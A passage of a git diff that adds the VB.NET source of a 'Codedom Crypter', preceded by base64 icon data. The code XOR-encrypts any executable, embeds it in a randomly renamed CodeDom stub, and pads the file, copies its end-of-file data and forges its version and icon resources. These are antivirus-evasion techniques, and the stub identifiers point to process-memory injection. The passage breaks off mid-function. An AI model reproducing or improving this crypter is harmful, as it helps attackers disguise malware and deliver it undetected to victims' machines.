9Qz6/fsD/P38AP///wD6/fsB8P31DNr96CKy/dFKfvyzfkSzcsgvWUH3HPZ34Bz8euAft1/pIJ9V7R77 + e+Ac+3ngK3pL8jmCWOJi/KObgPy0fYj8uHR8/LKBWcWGrTdkSeBW4ZCsXvygn178oJ9W4JCsN2NJ4F/Q + jqaA/bR9jPy7cIT9tnlk/KSZOo1d3St6S/Ic+3ngHvx74CCZU+4gvmLoHPt54Bz1d+AvWkH3QadszX78 + s3+y/dFL2v3oI/D99Qz6/fsB/Pz8AP///wD6/fsB8v33Ctz96h+2/dNGhv24eDpiSuUw1HXUKPyA1Sfl + d9kofkvqKpJV5SjNbd4o/IDWLe190DFOPPNq9qWUjP27cZj9wmSQ/b1tgPy0fHj8r4Z2/K6GevyxhHr8 + sYR4/K+GePyvhIT8tnmS/b5qnP3EYY79vG5s+KeRME078y7rfdAo/IDWJslq3iqSVeUogEzqJ+d42Sj8 + gNUw1nXTOV9J6IT9tnm2/dRH3P3qH/L99wr6/fsB////AP///wD8/fwA9P34CeD97B28/dc/jvy8b0Wp + bsVC+5C7OPqJxix7Teg+7YfCQPmNvS55Tec084XJPvyOv0S9dsRw6KKOmPzCZKj9y1Wk/clZmPzCZJL8 + vmuS/L5rlPzAZ5T8wGeS/L5qkvy+apr8w2Km/cpWqv3MUpz8xGFz7aaLQrh0xT78jr808YTJLXhM6ED6 + jr0+7IfCLX9O6Dj7icZC+5C7Raluxoz8u3C8/ddB4P3sHfT9+An8/fwA/Pz8AP///wD8/fwA9P34B+T9 + 7hnE/dw4mP3CZGvyo5Q/tG/JN5de10TBeMJW/JynWPydpkveiLY1h1fePrhxyWHwnJyB8rB8pv3KVrj9 + 1EW4/dRFsP3QTKz9zVCs/c1Qrv3PTa79z02s/c5QrP3NULL90Uu6/dZCuv3WQqr9zVOE87N5Ye6cnEC7 + c8gyflLgTOCKtVj8naZW/JynRL53xDigY9Y/tG/JafGilJj9wmTC/do64v3tGfT9+Af8/fwA/Pz8AP// + /wD8/fwA9v35B+b98BXK/d8ypv3KV4L8tXtGh2HLR5ZoyGj8ppRw/KqOcPyqjWr8p5ROsXi8PXJT13b3 + rIeY/cJktv3UR8b93TXK/d8yxv3dN8L92zrC/do6xv3dN8b93TfE/ds4wv3aOsb93TXM/eAxyP3eM7j9 + 1EWa/cNjdvWshj5vU9dOs3i7avynlHD8q41w/KuOaPymlkaTZslHimPJgPy0fKT9yVfK/d8y5v3vFfb9 + +Qf8/fwA////APz8/AD8/fwA+P36Ber98hLU/eUptP3SSJb8wWeC/LV7fPyxgYL8tXmK/Lpyivy6cYT8 + tnl8/LF/fvyyfo78vG6q/c1TxP3cONT95SjY/eck1v3mJtT95SjW/eYm2P3nJdj95yXW/eYm1v3mJtj9 + 5yXa/eki1v3mJsb93Teq/c1SkPy9bYD8tH5+/LJ/hPy2eYr8unGK/Lpygvy1e3z8soGC/LV8lPy/Z7T9 + 0knS/eQq6v3yEvj9+gX8/fwA/Pz8AP///wD8/fwA+P36A+799A7c/eofxP3cOKr9zVKa/MNilv3BZZz8 + xGCk/clZpPzJV578xl6Y/cJkmP3CZKb8yle8/ddB0v3kK+D97Bzk/e4Y5P3uGOT97hnk/e4Y5v3wFeb9 + 7xXk/e4Y5P3uGOb97xfm/fAV4v3tGtL95Cq8/ddBpv3KV5j9wmSY/cJknv3GXqT9yVek/MlZnP3EYJb9 + wWWa/cNjqv3NU8L92zrc/eoh7v30Dvj9+gP8/fwA/Pz8AP///wD8/fwA+v37AfL99wrk/e4Y0v3kK779 + 2D6y/dFLsP3QTbb900e8/ddBvP3XP7b91Eaw/dBNsP3QTLr91kLM/eAx3v3rH+r98hPu/fQO7v30Du79 + 9A7u/fQO8P31DPD99Qzw/fUM7v30DvD99Qzu/fQO6v3yEt796x7M/eAwuv3WQrD90Eyw/dBMtv3URrz9 + 1z+8/ddBtv3TR7D90E2y/dFLvv3YP9D94yvk/e4Y8v32Cvr9+wP8/fwA////AP///wD8/PwA/P38APb9 + +Qbs/fMR3v3rHtD94y3G/d01xv3dN8r93zLQ/eMt0P3jK8z94DHG/d03xv3dN8794i/a/eki6P3xFfD9 + 9Qz0/fgH9v35B/b9+Qf2/fkH9v35Bvb9+Qb2/fkH9v35B/b9+Qf2/fkH8v33Cuj98RXa/egizv3iL8b9 + 3TfG/d01zP3gMdD94yvQ/eMtyv3fMsb93TfG/d010P3jLd796x/s/fMR9v35B/z9/AD///8A/Pz8AP// + /wD8/PwA/P38APj9+gPy/fcK6P3xFN796x7Y/eck2P3nJdz96iHg/ewd4P3sHdz96h/Y/eck2P3nJd79 + 6x/m/e8V8P31DPb9+Qf4/foD+v37A/r9+wP6/fsD+v37Afr9+wH6/fsD+v37A/r9+wP6/fsD9v35BvD9 + 9Qzm/e8V3v3rH9j95yTY/eck3P3qH+D97B3g/ewd3P3qIdj95yXY/eck3v3rHuj98RTy/fcK+P36A/z9 + /AD///8A/Pz8APz8/AD8/PwA/P38APr9+wH2/fkG8P31DOr98hLm/e8V5v3wF+j98RTs/fMR7P3zEer9 + 8hPm/fAV5v3wF+j98RTu/fQO9v35B/r9+wP8/fwA/P38APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9 + /AD8/fwA+v37A/b9+Qfw/fUM6v3yE+b97xfm/fAV6v3yE+z98xHs/fMR6P3xFOb97xfm/e8X6v3yEvD9 + 9Qz2/fkG+v37Afz9/AD8/PwA/Pz8AP///wD///8A////APz9/AD6/fsD9v35BvL99wrw/fUM8P31DPL9 + 9wr0/fgJ9P34CfL99wrw/fUM8P31DPL99wr2/fkH+P36A/z9/AD8/fwA////AP///wD///8A////AP// + /wD///8A////AP///wD8/fwA/P38APr9+wP2/fkH8v33CvD99Qzw/fUM8v33CvT9+An0/fgJ8v33CvD9 + 9Qzw/fUM8v33Cvb9+Qb6/fsD/P38AP///wD///8A////AP///wD8/PwA////APz9/AD8/fwA+v37A/j9 + +gX2/fkG9v35Bvj9+gX4/foD+P36A/j9+gX2/fkG9v35Bvj9+gX6/fsD/P38APz9/AD///8A////AP// + /wD///8A/Pz8AP///wD///8A/Pz8AP///wD///8A/P38APz9/AD6/fsD+P36Bfb9+Qb2/fkG+P36Bfj9 + +gP4/foD+P36Bfb9+Qb2/fkG+P36Bfr9+wP8/fwA/P38APz8/AD///8A/Pz8APz8/AD8/PwA/Pz8APz8 + /AD8/fwA/P38APr9+wH6/fsB+v37Afr9+wH8/fwA/P38APr9+wH6/fsB+v37Afr9+wH8/fwA/P38APz8 + /AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz9/AD8/fwA+v37Afr9 + +wH6/fsB+v37Afz9/AD8/fwA+v37Afr9+wH6/fsB+v37Afz9/AD8/fwA/Pz8APz8/AD8/PwA/Pz8AP// + /wD///8A////AP///wD///8A////APz9/AD8/fwA/P38APz9/AD///8A////APz9/AD8/fwA/P38APz9 + /AD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A/P38APz9/AD8/fwA/P38AP///wD///8A/P38APz9/AD8/fwA/P38AP///wD///8A////AP// + /wD///8A////AP///////wAA////////AAD///////8AAP///////wAA////////AAD///////8AAP// + /////wAA////////AAD///////8AAP///////wAA////////AAD///////8AAP///////wAA/PwDwD8/ + AAD4eAAAHh8AAPgAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAA + AAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPgAAAAAHwAA+AAAAAAf + AAD4AAAAAB8AAPgAAAAAHwAA+AAAAAAfAAD4AAAEAB8AAPwAYA4APwAA/AB4HgA/AAD8AH/+AD8AAPwA + //8APwAA/gD//wB/AAD/f////v8AAP///////wAA////////AAD///////8AAP///////wAA//////// + AAD///////8AAP///////wAA////////AAD///////8AACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAAAAA + AAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////APz9/AD///8A////AP// + /wD///8A////APz9/AD8/fwA/P38APz9/AD8/fwA////AP///wD8/fwA/P38APz9/AD8/fwA/P38AP// + /wD///8A////AP///wD///8A/P38AP///wD///8A////AP///wD///8A////APz9/AD6/fsB+v37Afz9 + /AD8/fwA////APz9/AD6/fsB+v37A/r9+wP6/fsD+v37A/r9+wH8/fwA/P38APr9+wH6/fsD+v37A/r9 + +wP6/fsD+v37Afz9/AD///8A/P38APz9/AD6/fsB+v37Afz9/AD///8A////AP///wD8/fwA+v37A/b9 + +Qf0/fgJ9v35B/r9+wP6/fsB+P36A/T9+Afy/fcK9P34CfT9+Any/fYK9P34B/b9+Qb2/fkG9P34B/L9 + 9gr0/fgJ9P34CfL99gr0/fgH+P36A/r9+wH6/fsD9v35B/T9+An2/fkH+v37A/z9/AD///8A/P38APr9 + +wH0/fgJ6v3yEub98BXq/fIS8v33CvT9+Afw/fUM6P3xFOT97hjm/fAX5v3wF+T97hjo/fEV7P3zEez9 + 8xHo/fEV5P3uGeb98Bfm/fAX5P3uGOj98RTw/fUM9P34B/L99wrq/fIS5v3wF+r98hL0/fgJ+v37Afz9 + /AD8/fwA+P36Ber98hPY/eck0P3jLdb95ibk/e4Z6v3yE+L97RrU/eUpzP3gMM794i/O/eIvzP3gMNL9 + 5CvY/eck2P3nJNL95CvM/eAwzv3hL8794i/M/eAw1P3lKeL97Rrq/fIT5P3uGdb95ibQ/eMt2P3nJej9 + 8RT2/fkG/P38APz9/ADy/fcK2v3pIr792D6w/dBMuv3WQs794i/W/eYmyv3fMrb900es/c5QrP3NUKz9 + zlCq/c1Ssv3RS7z91z+8/dc/sv3RS6r9zVKs/c5QrP3OUKz9zlC2/dRHyv3fMtb95ibO/eEvuv3WQ7D9 + 0Ey+/dg/2v3pI/L99wr8/fwA+v37Aez98xHI/d4zoP3HXYz8u3GW/cFlsP3QTbr91kOq/c1SkP29a4T9 + tnmE/bZ5hP22eYL9tXmM/LtxmP3CZJj8wmSK/bpxgv21eYT9tnmE/bZ5hP22eZD8vWuq/c1Suv3WQrD9 + 0E2W/MFnjP27cZ79xl7G/d016v3yEvr9+wH4/foD5P3uGbT90kh13qGNTZptxGrpoJaK/bpxmP3CZIb9 + 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 + dMKO/bxvov3IWpb9wGeK/bpxjv28b479vG+M/LtxmP3CZKb8yleQ/b1rSbB0wTj7icUuqmLeOuyFxS6g + Xt42+4jIQbFwyZb9wWXW/eYm9v35B/z9/AD8/fwA9v35Btz96h+m/cpWX9KOpTWJWNtS4o6uXvygoEnE + fb01iVnbbfCkkaL9yFq8/dc/uP3VRbD90Ey0/dJJtP3SSbL90Uu6/dZDvv3YPqT9yVdv76SQNolY3EvF + frxe/KCgUuCOrzeMWtpe0o6lpv3KV9z96h/2/fkG/P38AP///wD4/foD5P3uGLj91USK+rlycOmjkH78 + s36E/bZ5fPyxgnDnopCQ/L1tuv3WQ9L95CrU/eUp0P3jK9L95CrS/eQq0P3jK9T95SjU/eUovP3XQZD8 + vWtw5qKQfPyxgoT9tnl+/LN+cOmjkIr7uXS4/dVE5P3uGfj9+gP8/fwA////APr9+wHs/fMRzP3gMKr9 + zVKe/MVepP3JV6r9zVKi/MhanvzGXrD90E3Q/eMt5P3uGOj98RXm/fAV6P3xFOj98RTo/fEV6P3xFOb9 + 8BfQ/eMrsP3QTJ79xl6i/chaqv3NUqT9yVec/cRgqv3NUsz94DDs/fMR+v37Af///wD///8A/P38APL9 + 9wre/eseyP3eM8D92TzG/d01zP3gMcT93DjA/dk8zP3gMOL97Rrw/fUM9P34CfT9+An0/fgH9P34B/T9 + +An0/fgH8P31DOL97RnM/eAwwP3ZPMT93DjM/eAxxv3dNcD92TzI/d4z3v3rHvL99wr8/fwA////AP// + /wD8/fwA+P36Bez98w/g/ewc3P3qIeD97B3i/e0Z3v3rHtz96iHi/e0Z7v30Dvj9+gX6/fsB+v37Afr9 + +wH6/fsB+v37Afr9+wH4/foF8P31DOL97Rnc/eoh3v3rHuL97Rng/ewd3P3qIeD97Bzs/fMP+P36Bfz9 + /AD///8A////AP///wD8/fwA9v35B/D99Qzu/fQP8P31DPL99wrw/fUM7v30D/D99Qz4/foF/P38APz9 + /AD///8A////AP///wD///8A/P38APz9/AD4/foF8P31DO799A/w/fUM8v33CvD99Qzu/fQP8P31DPb9 + +Qf8/fwA////AP///wD///8A////APz9/AD6/fsB+P36A/j9+gX4/foD+v37A/j9+gP4/foF+P36A/z9 + /AD8/fwA////AP///wD///8A////AP///wD///8A/P38APz9/AD4/foD+P36Bfj9+gP6/fsD+P36A/j9 + +gX4/foD+v37Afz9/AD///8A////AP///wD///8A////APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9 + /AD8/fwA/P38AP///wD///8A////AP///wD///8A////AP///wD///8A/P38APz9/AD8/fwA/P38APz9 + /AD8/fwA/P38APz9/AD8/fwA////AP///wD///8A//////////////////////////////////////// + ////////44ABx+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH8AAAD/AI + GA/wH/gP8B/4D/s//N////////////////////////////////8oAAAAEAAAACAAAAABACAAAAAAAAAE + AAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD8/fwA/P38APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9 + /AD8/fwA/P38APz9/AD8/fwA/P38AP///wD8/fwA9P34Ce799A72/fkG8v33Cuz98xHs/fMR8P31DPD9 + 9Qzs/fMR7P3zEfL99wr2/fkG7v30DvT9+An8/fwA+P36A9b95ibE/dw43P3qH8794i+8/dc/vP3XP8b9 + 3TXG/d03vP3XP7z91z/O/eEv3P3qH8T93DjW/eYm+P36A/D99Qyl9cdadd+hjKL9yFqH87R1aeCbmWrj + nZh78q2EefGshGrjnZhp4JuZh/O0daL9yFp136GNo/XFWvD99Qzo/fEVbcSRmjFvS+1X7JaoPZ1l1iuG + UO0rlFfqNJdd4DSVXOArklbqLIhT6z6dZtZX65WoMHBL7WvCkJzm/fAV4v3tGmbHj6hXZ178Ko5U7T5z + VPg6i1z6N45c+j5tUfo+a1H6N45c+jyKXPo/dFb4Ko5U7VZmXfxlyY+o4v3tGuD97B1bvISxOnhT+jt0 + U/xJZFT9I5FR+CCYUvhIZ1X9SGhW/R+cU/cjkFH4S2VW/TpzUvw4eVP6XbyFr+D97Bzm/e8Xbu6jkA/k + afBGa1X9FMdg+B7eb+Mf02rlD9Bg+hDNYPof1GvlH9xu4xXFX/pFbFX9EeRq8G/wpY7m/fAX7v30Do79 + vG8exGTpCuRl+A3XYvY46oPINtt8zRPOYfAUy2DwOdt9yjrqhMYO1mL2CuRl+B3FZOmO/bxu8P31DPb9 + +Qek/clZLKNe5xDna+4drVnzT96LtFPNhrQtzHDXL85y1lfQia9S3YyyHq5Z8xDoa+4ro17npP3JWfb9 + +Qf4/foDtP3SSTbCcNQqvmjdKtdz2mTRkqGK9rhxc+ikjXPopI2O+LpuZtOUnyrWctoqvmjdNMFv1bL9 + 0Ur4/foD+v37Acj93jNjz5ChbfWmklrMiqqW+cBnxv3dNcL92zrC/ds6yP3eM5j5wWRay4qqbfWmkmPQ + kKHI/d41+v37Afz9/ADi/e0ZtP3SSLj91USy/dFLzP3gMez98xHu/fQP7v30D+z98w/M/eAxsv3RS7j9 + 1US0/dJJ4v3tGfz9/AD8/fwA9v35B+b98BXq/fIT5v3wF+799A76/fsB/P38APz9/AD6/fsB7v30Dub9 + 8Bfq/fIT5v3wFfb9+Qf8/fwA////APz9/AD6/fsD+v37Afr9+wP8/fwA/P38AP///wD///8A/P38APz9 + /AD6/fsD+v37Afr9+wP8/fwA////AP//AAD//wAA//8AAP//AADYGwAAgAEAAIABAACAAQAAgAEAAMAD + AADAAwAAwkMAAMfjAAD//wAA//8AAP//AAA= + + + \ No newline at end of file diff --git a/scode (Codedom Crypter/WindowsApplication1/Form1.vb b/scode (Codedom Crypter/WindowsApplication1/Form1.vb new file mode 100644 index 0000000..a16b17b --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/Form1.vb @@ -0,0 +1,234 @@ +Imports System.IO +Imports fLaSh.Dissembler +Public Class Form1 + Dim ofd As New OpenFileDialog + Dim lo As New OpenFileDialog + Dim sfd As New SaveFileDialog + Dim TheEOF As String + Public Function GetNullBytes(ByRef lNum As Object) As String + Dim Buf As String + Dim i As Short + For i = 1 To lNum + Buf = Buf & Chr(0) + Next + GetNullBytes = Buf + End Function + Public Function ReadEOFData(ByRef FilePath As String) As String + Dim EOFBuf As String + Dim lPos As Integer + If Dir(FilePath) = "" Then + Exit Function + End If + Dim ReadFile As String = IO.File.ReadAllText(FilePath) + lPos = InStr(1, StrReverse(ReadFile), GetNullBytes(30)) + EOFBuf = (Mid(StrReverse(ReadFile), 1, lPos - 1)) + ReadEOFData = StrReverse(EOFBuf) + If ReadEOFData = "" Then + End If + Exit Function + End Function + + Public Function random_key(ByVal lenght As Integer) As String + Randomize() + Dim s As New System.Text.StringBuilder("") + Dim b() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray() + For i As Integer = 1 To lenght + Randomize() + Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1 + s.Append(b(z)) + Next + Return s.ToString + End Function + Public Function encrypt(ByVal message As Byte(), ByVal password As String) As Byte() + Dim passarr As Byte() = System.Text.Encoding.Default.GetBytes(password) + Randomize() + Dim rand As Integer = Int((255 - 0 + 1) * Rnd()) + 1 + Dim outarr(message.Length) As Byte + Dim u As Integer + For i As Integer = 0 To message.Length - 1 + outarr(i) += (message(i) Xor passarr(u)) Xor rand + If u = password.Length - 1 Then u = 0 Else u = u + 1 + Next + outarr(message.Length) = 112 Xor rand + Return outarr + End Function + + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click + Try + sfd.Filter = "Executables *.exe|*.exe" + If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then + Dim source As String = My.Resources.source ' Declare temporary string storing the source for replacing + Dim vars As String() = {"%1%", "%2%", "%4%", "%5%", "rand1", "sizel", "processInfo", "procAttr", "passarr", "startupInfo", "num2", "num", "ptr4", "baseAddr", "buffer__1", "bufferSize", "numRead", "dst", "lpBaseAddress", "lpNumberOfBytesWritten", "buffer2", "u1", "i1"} ' Declaring a String Array with all Strings to replace + For i As Integer = 0 To vars.Length - 1 ' Loop thought all Strings to replace + source = source.Replace(vars(i), random_key(300)) ' Replace the fill strings with a random String to make the Server more unique (Basic USG System) + Next + Dim input As Byte() = encrypt(IO.File.ReadAllBytes(TextBox1.Text), "okmijnlp") 'Read & Encrypt to crypt + source = source.Replace("%3%", CD.format(input)) ' Format the input bytes and place them in the temp source + iCompiler.GenerateExecutable(sfd.FileName, source, "") ' Compile the source using CodeDom + Else : Exit Sub + End If + Catch ex As Exception + End Try + If CheckBox1.Checked = True Then + Dim filesize As Double = Val(NumericUpDown1.Value) + filesize = filesize * 1048576 + Dim filetopump = IO.File.OpenWrite(sfd.FileName) + Dim size = filetopump.Seek(0, IO.SeekOrigin.[End]) + While size < filesize + filetopump.WriteByte(0) + size += 1 + End While + filetopump.Close() + End If + If CheckBox2.Checked = False Then + Else + IO.File.AppendAllText(ofd.FileName, TheEOF) + End If + If CheckBox4.Checked = True Then + Try + + If Not File.Exists(ofd.FileName) Then + Throw New Exception("Exe not found!") + End If + + Cursor.Current = Cursors.WaitCursor + Application.DoEvents() + + Dim oVersionResource As New VersionResource() + oVersionResource.LoadFrom(ofd.FileName) + + 'build icon.. + ' + oVersionResource.FileVersion = TextBox2.Text + oVersionResource.ProductVersion = TextBox2.Text + ' + Dim oStringFileInfo As StringFileInfo = DirectCast(oVersionResource("StringFileInfo"), StringFileInfo) + oStringFileInfo("FileVersion") = String.Format("{0}" & vbNullChar, oVersionResource.FileVersion) + oStringFileInfo("ProductVersion") = String.Format("{0}" & vbNullChar, oVersionResource.ProductVersion) + oStringFileInfo("Assembly Version") = String.Format("{0}" & vbNullChar, oVersionResource.ProductVersion) + oStringFileInfo("LegalCopyright") = String.Format("{0}" & vbNullChar, txtACopyright.Text.Trim) + oStringFileInfo("FileDescription") = String.Format("{0}" & vbNullChar, txtADescription.Text.Trim) + oVersionResource.SaveTo(sfd.FileName) + Catch ex As Exception + Finally + Cursor.Current = Cursors.Default + End Try + If CheckBox3.Checked = True Then + Dim oIconFile As New IconFile(lo.FileName) + Dim groupIconResource As GroupIconResource = oIconFile.ConvertToGroupIconResource() + groupIconResource.SaveTo(sfd.FileName) + End If + End If + form2.visible = True + End Sub + + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + ofd.Filter = "Executables *.exe|*.exe" + If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then + TextBox1.Text = ofd.FileName + TheEOF = ReadEOFData(ofd.FileName) + CheckBox1.Enabled = True + CheckBox2.Enabled = True + CheckBox3.Enabled = True + CheckBox4.Enabled = True + CheckBox3.Text = "Change Icon (No Icon Loaded)" + Else : TextBox1.Text = "" + End If + If TheEOF = Nothing Then + CheckBox2.Text = "Use EOF (Not Recommended)" + Else + CheckBox2.Text = "Use EOF (Recommended)" + End If + + End Sub + + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + + End Sub + Private Sub btnExit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) + Me.Close() + End Sub + + + Private Sub btnOpen_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) + Using o As New OpenFileDialog + o.Filter = "Executable files (*.exe)|*.exe|" + o.FileName = TextBox1.Text.Trim + If o.ShowDialog(Me) = Windows.Forms.DialogResult.OK Then + TextBox1.Text = o.FileName + End If + End Using + End Sub + + Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click + On Error Resume Next + lo.Filter = "Icon Files (*.ico)|*.ico" + lo.ShowDialog() + Dim o As New Bitmap(lo.FileName) + picIcon.Image = o + CheckBox3.Text = "Change Icon (Icon Loaded!)" + End Sub + + Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged + If CheckBox3.Checked = True Then + Button3.Enabled = True + Else + Button3.Enabled = False + End If + End Sub + + Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged + If CheckBox1.Checked = True Then + NumericUpDown1.Enabled = True + Else + NumericUpDown1.Enabled = False + End If + End Sub + + Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox4.CheckedChanged + If CheckBox4.Checked = True Then + txtACompany.Enabled = True + txtACopyright.Enabled = True + txtADescription.Enabled = True + TextBox2.Enabled = True + Else + txtACompany.Enabled = False + txtACopyright.Enabled = False + txtADescription.Enabled = False + TextBox2.Enabled = False + End If + End Sub +End Class +Public Class CD + Public Shared Function format(ByVal input As Byte()) As String ' Codedom has maximum of possible chars per line so we are storing the string in multiple strings + Dim out As New System.Text.StringBuilder ' Declaring a new StringBuilder to store the output string + Dim base64data As String = Convert.ToBase64String(input) ' Get a readable String from the Byte Array + Dim arr As String() = SplitString(base64data, 50000) ' Split the string into parts to fit in the Codedom-lines + For i As Integer = 0 To arr.Length - 1 ' Looping thought each string in the array + If i = arr.Length - 1 Then ' If i equals the highest number + out.Append(Chr(34) & arr(i) & Chr(34)) + Else 'I is smaller than arr.Length - 1 (i < arr.Length - 1) + out.Append(Chr(34) & arr(i) & Chr(34) & " & _" & vbNewLine) + End If + Next + Return out.ToString + End Function + Private Shared Function SplitString(ByVal input As String, ByVal partsize As Long) As String() + Dim amount As Long = Math.Ceiling(input.Length / partsize) 'Get Long value of the amount of parts using the formular (Length of Input / Length of Parts) + Dim out(amount - 1) As String 'Declaring the Array to Return using the amount of Parts to define the size + Dim currentpos As Long = 0 ' Declaring the Currentposition in the String + For I As Integer = 0 To amount - 1 ' Looping thought each string in the array + If I = amount - 1 Then ' If i equals the highest number + Dim temp((input.Length - currentpos) - 1) As Char ' Declaring a temporary Array of Chars for storing the current Part of the String + input.CopyTo(currentpos, temp, 0, (input.Length - currentpos)) ' Current part is everything left from the string + out(I) = Convert.ToString(temp) ' Current part is appended to the output string + Else 'I is smaller than amount - 1 (i < amount - 1) + Dim temp(partsize - 1) As Char ' Declaring a temporary Array of Chars for storing the current Part if the String using the Size of a part 